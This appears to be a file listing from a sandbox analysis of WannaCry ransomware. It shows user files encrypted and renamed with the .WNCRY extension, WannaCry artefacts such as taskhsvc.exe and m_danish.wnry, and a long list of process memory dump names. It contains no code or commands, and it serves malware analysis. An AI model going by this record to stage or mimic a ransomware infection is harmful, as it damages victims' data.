InvokeMove.potx.WNCRY
MeasureApprove.bat.WNCRY
MoveSwitch.avi.WNCRY
OutConvertFrom.php.WNCRY
PopOptimize.js.WNCRY
PushPop.jpeg.WNCRY
ResolveResize.avi.WNCRY
ResolveResume.gif.WNCRY
RestartCheckpoint.ppsm.WNCRY
SendMount.vsd.WNCRY
UnpublishPush.zip.WNCRY
UpdateRevoke.tif.WNCRY
AddLock.xltx.WNCRY
RepairOptimize.odt.WNCRY
RestoreConfirm.potm.WNCRY
SubmitExit.pdf.WNCRY
TestReceive.wmv.WNCRY
TraceResume.dotx.WNCRY
UninstallSwitch.pptm.WNCRY
UnpublishResolve.pptm.WNCRY
Readme.txt.WNCRY
The Big Bang.iso.WNCRY
ConvertToSet.docx.WNCRY
DisconnectOut.tif.WNCRY
GrantOpen.potm.WNCRY
LockConvertFrom.xlsx.WNCRY
MoveSync.mov.WNCRY
PopRequest.pdf.WNCRY
PushEnable.ppsm.WNCRY
RequestRestore.raw.WNCRY
289851791397829.bat.WNCRY
taskhsvc.exe
m_danish.wnry
WriteSplit.jpeg.WNCRY
ApproveEdit.docx.WNCRY
CheckpointConvertTo.pptx.WNCRY
CheckpointMove.potm.WNCRY
InitializeConvertFrom.txt.WNCRY
LimitRegister.ppt.WNCRY
Open Notebook.onetoc2.WNCRY
OpenWrite.vsd.WNCRY
OptimizeReceive.ppt.WNCRY
OutRevoke.docx.WNCRY
Outlook Data File - rcamhngqtd.pst.WNCRY
PingEdit.xlsx.WNCRY
ReceiveRepair.docx.WNCRY
RequestRestore.xlsx.WNCRY
ResetEdit.docx.WNCRY
RestoreImport.dot.WNCRY
RestoreUnlock.pot.WNCRY
ResumeMove.xltm.WNCRY
ShowStep.ods.WNCRY
SplitInstall.potm.WNCRY
StopDeny.docx.WNCRY
86e673d6-4bb4-4f8c-903f-a1c84acdc3a3.tmp
AddSend.csv.WNCRYT
d72c252b-fb80-40d0-88ac-8a0ba60cd989.tmp
DisableUnpublish.wav.WNCRY
ExportCompare.dotx.WNCRY
ReadPing.gif.WNCRY
ReadSearch.jpg.WNCRY
RedoEnable.docm.WNCRY
ShowUnlock.mp3.WNCRY
StartUninstall.mp4.WNCRY
SwitchBackup.jpg.WNCRY
TestPing.xlsm.WNCRY
TestSet.png.WNCRY
ApprovePop.tif.WNCRY
CompleteApprove.raw.WNCRY
ExportRegister.png.WNCRY
MoveResume.png.WNCRY
ProtectMove.tif.WNCRY
RegisterResize.jpg.WNCRY
RevokeRedo.svg.WNCRY
UnpublishWait.dwg.WNCRY
jpKCrSw.jpg.WNCRY
Taskmgr.exe
memory/1836-3484-0x0000000005250000-0x0000000005251000-memory.dmp
memory/2340-5950-0x00000000746E0000-0x0000000074CE8000-memory.dmp
memory/2340-5919-0x0000000075B30000-0x0000000075C03000-memory.dmp
memory/4044-5854-0x0000000072A20000-0x0000000072A97000-memory.dmp
memory/4044-5848-0x0000000000450000-0x000000000074E000-memory.dmp
memory/4044-5877-0x0000000073B00000-0x0000000073B1C000-memory.dmp
memory/4044-5876-0x0000000072D80000-0x0000000072E02000-memory.dmp
memory/4044-5880-0x0000000072AA0000-0x0000000072AC2000-memory.dmp
memory/4044-5849-0x0000000072D80000-0x0000000072E02000-memory.dmp
memory/4044-5878-0x0000000072CF0000-0x0000000072D72000-memory.dmp
memory/4044-5879-0x0000000072AD0000-0x0000000072CEC000-memory.dmp
memory/4044-5881-0x0000000072A20000-0x0000000072A97000-memory.dmp
memory/4044-5850-0x0000000073B00000-0x0000000073B1C000-memory.dmp
memory/4044-5852-0x0000000072AD0000-0x0000000072CEC000-memory.dmp
memory/4044-5875-0x0000000000450000-0x000000000074E000-memory.dmp
memory/4044-5853-0x0000000072AA0000-0x0000000072AC2000-memory.dmp
memory/4044-5851-0x0000000072CF0000-0x0000000072D72000-memory.dmp
memory/4348-3516-0x0000020863280000-0x00000208632A0000-memory.dmp
memory/4348-3517-0x0000020863630000-0x0000020863650000-memory.dmp
memory/4348-3490-0x00000208632C0000-0x00000208632E0000-memory.dmp
memory/4348-3485-0x0000020862300000-0x0000020862400000-memory.dmp
memory/5852-5931-0x00000000746E0000-0x0000000074CE8000-memory.dmp
memory/5852-5998-0x0000000073BD0000-0x0000000073BFF000-memory.dmp
memory/5852-3715-0x0000000010000000-0x0000000010010000-memory.dmp
memory/5852-5929-0x0000000055D70000-0x0000000055D71000-memory.dmp
memory/5852-6034-0x00000000756B0000-0x000000007570F000-memory.dmp
memory/6108-6225-0x0000000075080000-0x00000000754BC000-memory.dmp
memory/6108-6226-0x0000000075080000-0x00000000754BC000-memory.dmp
memory/6108-6216-0x0000000075080000-0x00000000754BC000-memory.dmp
memory/6108-6229-0x00000000040A0000-0x00000000040B0000-memory.dmp
memory/6108-6219-0x0000000075080000-0x00000000754BC000-memory.dmp
memory/6108-6232-0x0000000074620000-0x0000000074694000-memory.dmp
memory/6108-6233-0x00000000746E0000-0x0000000074CE8000-memory.dmp
memory/6108-6238-0x00000000040A0000-0x00000000040B0000-memory.dmp
memory/6472-6366-0x0000000000BF0000-0x0000000000C14000-memory.dmp
memory/6600-5890-0x000000001F560000-0x000000001FA88000-memory.dmp
memory/6600-5889-0x000000001EE60000-0x000000001F022000-memory.dmp
memory/6600-5882-0x0000000000BC0000-0x0000000000BEA000-memory.dmp
memory/6600-5888-0x00007FF854E70000-0x00007FF854FBE000-memory.dmp
memory/6888-6205-0x0000000073390000-0x000000007360E000-memory.dmp
memory/6888-6197-0x0000000074D90000-0x0000000075011000-memory.dmp
memory/6888-6178-0x00000000746E0000-0x0000000074CE8000-memory.dmp
memory/6888-6159-0x00000000746E0000-0x0000000074CE8000-memory.dmp
memory/6888-6118-0x00000000746E0000-0x0000000074CE8000-memory.dmp
memory/6888-6049-0x0000000073390000-0x000000007360E000-memory.dmp
memory/6888-6043-0x00000000745C0000-0x00000000745EF000-memory.dmp
memory/6888-6191-0x0000000073D10000-0x0000000073F3B000-memory.dmp
memory/6888-6168-0x0000000075850000-0x000000007590F000-memory.dmp
memory/6888-6222-0x0000000073390000-0x000000007360E000-memory.dmp
memory/6888-6172-0x0000000073390000-0x000000007360E000-memory.dmp
memory/6888-6239-0x0000000000010000-0x0000000000020000-memory.dmp
memory/6888-6198-0x0000000074D90000-0x0000000075011000-memory.dmp
memory/6888-6175-0x0000000073390000-0x000000007360E000-memory.dmp
memory/6888-6204-0x00000000756B0000-0x000000007570F000-memory.dmp
memory/6888-6162-0x00000000746E0000-0x0000000074CE8000-memory.dmp
memory/6888-6176-0x00000000732F0000-0x000000007338B000-memory.dmp
memory/6888-6211-0x0000000075C70000-0x0000000075CD3000-memory.dmp
memory/6888-6210-0x0000000075C70000-0x0000000075CD3000-memory.dmp
memory/6888-6218-0x0000000073390000-0x000000007360E000-memory.dmp
memory/6888-6241-0x0000000000010000-0x0000000000020000-memory.dmp
memory/7708-5911-0x00007FF854E70000-0x00007FF854FBE000-memory.dmp
memory/7800-6195-0x0000000006030000-0x00000000065D4000-memory.dmp
memory/7800-6199-0x0000000005A50000-0x0000000005A5A000-memory.dmp
memory/7800-6196-0x0000000005980000-0x0000000005A12000-memory.dmp
memory/7800-6194-0x0000000000D30000-0x0000000000E6C000-memory.dmp
memory/7916-5894-0x0000000072B60000-0x0000000072D7C000-memory.dmp
memory/7916-5895-0x0000000072AD0000-0x0000000072B52000-memory.dmp
memory/7916-5896-0x0000000072AA0000-0x0000000072AC2000-memory.dmp
memory/7916-5897-0x0000000072A20000-0x0000000072A97000-memory.dmp
memory/7916-5891-0x0000000000450000-0x000000000074E000-memory.dmp
memory/7916-5893-0x0000000073AF0000-0x0000000073B0C000-memory.dmp
memory/7916-5892-0x0000000072D80000-0x0000000072E02000-memory.dmp